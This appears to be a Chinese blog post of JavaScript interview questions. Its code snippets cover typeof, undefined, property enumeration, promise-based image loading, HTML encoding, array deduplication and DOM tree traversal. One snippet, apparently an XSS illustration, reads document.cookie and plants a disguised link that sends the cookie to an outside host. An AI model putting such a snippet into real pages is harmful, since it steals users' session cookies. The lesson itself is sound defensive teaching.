Web开发面试的那些题-JavaScript篇

1

console.log(typeof null, typeof undefined); // "object" "undefined"

1

Uncaught TypeError: Cannot read property 'xxx' of undefined

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

// 1. 数组中访问'越界'的元素
var arr = [1, 2];
console.log(arr[2]); // undefined

// 2. 对象中访问未定义的属性
var obj = { a: 1 };
console.log(obj.b); // undefined

// 3. 函数调用时参数没有提供完整，访问了未提供的参数
function func(a, b, c) {
  console.log(a, b, c);
}
func(1, 2); // 1 2 undefined

// 4. 变量声明后没有赋值
var a;
console.log(a); // undefined

// 5. 对没有赋值的变量(或者压根没有声明的变量)使用typeof类型检测
var a;
console.log(typeof a, typeof b); // "undefined" "undefined"
console.log(b); // 要注意这样会直接报错 "Uncaught ReferenceError: b is not defined"

1
2
3
4
5

var obj1 = {};
var obj2 = { color: undefined };
if (obj1.color === obj2.color) {
  /* do something */
} // Don't do this!!!

1
2
3
4
5
6
7
8
9

// 1. Number()是转换函数，返回值还是一个'number'，但是new Number()是调用构造函数，封装成一个对象
// Boolean和String也是如此
console.log(typeof new Number(), typeof Number()); // "object" "number"

// 2. function的几种特殊情况
function func() {}
var a = new Function();
var b = new func(); // 构造函数式调用，会返回一个新的对象
console.log(typeof func, typeof a, typeof b); // "function" "function" "object"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

const isArray = (() => {
  if (Array.isArray) {
    return Array.isArray;
  }
  var arr = [];
  return function (array) {
    return (
      Object.prototype.toString.call(array) ===
      Object.prototype.toString.call(arr)
    );
  };
})();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

var obj = { a: 1, b: 2 };
Object.defineProperty(obj, "c", {
  value: 3,
  enumerable: false,
});
Object.prototype.d = 4;
obj[Symbol(1)] = 5;

console.log(Object.keys(obj)); // ["a", "b"]
console.log(Object.getOwnPropertyNames(obj)); // ["a", "b", "c"]
console.log(Reflect.ownKeys(obj)); // ["a", "b", "c", Symbol(1)]

var forInKeys = [];
for (let key in obj) {
  forInKeys.push(key);
}
console.log(forInKeys); // ["a", "b", "d"]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

const imgUrls = [];
const loadImage = (imgUrl) => {
  let img = document.createElement("img");
  img.src = imgUrl;
  img.alt = "";
  img.height = 300;
  return new Promise((resolve, reject) => {
    img.onload = function () {
      resolve("图片加载成功");
      document.getElementById("container").appendChild(img);
    };
    img.onerror = function () {
      reject("图片未能成功加载，请稍后重试！");
    };
  });
};

const loadAllImage = (imgUrls) => {
  return Promise.all(
    imgUrls.map((imgUrl, i) =>
      loadImage(imgUrl)
        .then((res) => {
          console.log(`第${i + 1}张${res}`);
          return Promise.resolve();
        })
        .catch((err) => {
          console.log(`第${i + 1}张${err}`);
          return Promise.resolve();
        })
    )
  );
};

loadAllImage(imgUrls).then(() => {
  console.log("图片全部加载完毕");
});

1
2
3
4
5

var cookie = document.cookie; // 获取cookie
var a = document.createElement("a");
a.href = `http://www.tianzhich.com/test.php?secret=${cookie}`;
a.innerHTML = "<img src='./fake.jpg' alt=''/>"; // 伪装图片
document.body.appendChild(a);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

// jQuery
const htmlEncoderJq = (str) => {
  return $("<div>").text(str).html();
};
const htmlDecoderJq = (str) => {
  return $("<div>").html(str).text();
};
// JS
const htmlEncoderJs = (str) => {
  let div = document.createElement("div");
  div.textContent = str;
  return div.innerHTML;
};
const htmlDecoderJs = (str) => {
  let div = document.createElement("div");
  div.innerHTML = str;
  return div.textContent;
};

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

function distinct(arr) {
  var resArr = [];
  for (var i = 0; i < arr.length; i++) {
    var cur = arr[i];
    for (var j = 0; j < resArr.length; j++) {
      if (cur === resArr[j]) {
        break;
      }
    }
    if (j === resArr.length) {
      resArr.push(cur);
    }
  }
  return resArr;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

function distinct(arr) {
  for (var i = 0; i < arr.length; i++) {
    var cur = arr[i];
    for (var j = i + 1; j < arr.length; j++) {
      if (cur === arr[j]) {
        arr.splice(j--, 1); // 数组长度动态变化，j记得减1
      }
    }
  }
  return arr;
}

1
2
3

const distinct = (arr) => {
  return arr.filter((v, k) => arr.indexOf(v) === k);
};

1
2
3

const distinct = (arr) => {
  return arr.sort().filter((v, k) => v !== arr[k + 1]);
};

1
2
3
4

const distinct = (arr) => {
  const resMap = new Map();
  return arr.filter((v) => !resMap.has(v) && resMap.set(v, 1));
};

1
2
3

const distinct = (arr) => {
  return [...new Set(arr)]; // 或者 return Array.from(new Set(arr));
};

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

var arr = [
  1,
  2,
  null,
  2,
  "1",
  "1",
  NaN,
  NaN,
  undefined,
  null,
  new String(1),
  undefined,
  new String(1),
];

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

// BFS
function travelsalBFS(root) {
  var tempArr = [];
  var resArr = [];
  tempArr.push(root);
  while (tempArr.length) {
    let len = tempArr.length;
    while (len--) {
      let tempNode = tempArr.shift();
      resArr.push(tempNode);
      if (tempNode.children) {
        tempArr = [...tempArr, ...Array.from(tempNode.children)];
      }
    }
  }
  return resArr;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

// BFS 不使用临时array
function travelsalBFS2(root) {
  var resArr = [];
  resArr.push(root);
  var index = 0;
  while (resArr[index]) {
    resArr.push(...Array.from(resArr[index++].children));
  }
  return resArr;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

// DFS
function travelsalDFS(root) {
  var tempArr = [root];
  var resArr = [root];
  var curEle = root;
  while (tempArr.length || curEle.children.length !== 0) {
    if (curEle.children.length === 0) {
      curEle = tempArr.pop();
      while (!curEle.nextElementSibling) {
        curEle = tempArr.pop();
        // 这个地方，如果回到root，则遍历完毕！
        if (!curEle || curEle === root) {
          return resArr;
        }
      }
      curEle = curEle.nextElementSibling;
    } else {
      curEle = curEle.firstElementChild;
    }
    // 访问到的节点都要存起来，不同的是临时数组会pop出去，从而向上返回
    resArr.push(curEle);
    tempArr.push(curEle);
  }
}